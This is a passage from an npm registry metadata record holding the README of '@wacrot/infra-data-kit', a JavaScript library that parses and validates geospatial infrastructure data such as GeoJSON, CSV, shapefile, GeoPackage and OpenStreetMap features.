null\"\n}\n```\n\n## Format support\n\n### Included directly\n\n- `parseGeoJSON(input, options)`: Accepts GeoJSON strings or objects.\n- `parseCsv(input, options)`: Accepts CSV text with header-based field mapping.\n- `parseByFormat(input, formatId, options)`: Dispatches by format name.\n\n### Included as adapters\n\nThese formats are common, but they are usually decoded by specialist GIS libraries before normalization:\n\n- `normalizeShapefileFeatures(features, options)`: Accepts GeoJSON-like features from a shapefile reader.\n- `normalizeGeoPackageFeatures(features, options)`: Accepts GeoJSON-like features from a GeoPackage reader.\n- `normalizeOsmElements(elements, options)`: Accepts decoded OpenStreetMap elements.\n\nThis package stays lightweight by not bundling heavy binary GIS parsers by default.\n\n## Validation\n\n```js\nimport { validateNormalizedRecord } from \"@wacrot/infra-data-kit\";\n\nconst result = validateNormalizedRecord(record, {\n  requireGeometry: true,\n  allowedDomains: [\"roads\", \"traffic\"]\n});\n\nconsole.log(result.valid, result.errors);\n```\n","readmeFilename":"README.md"}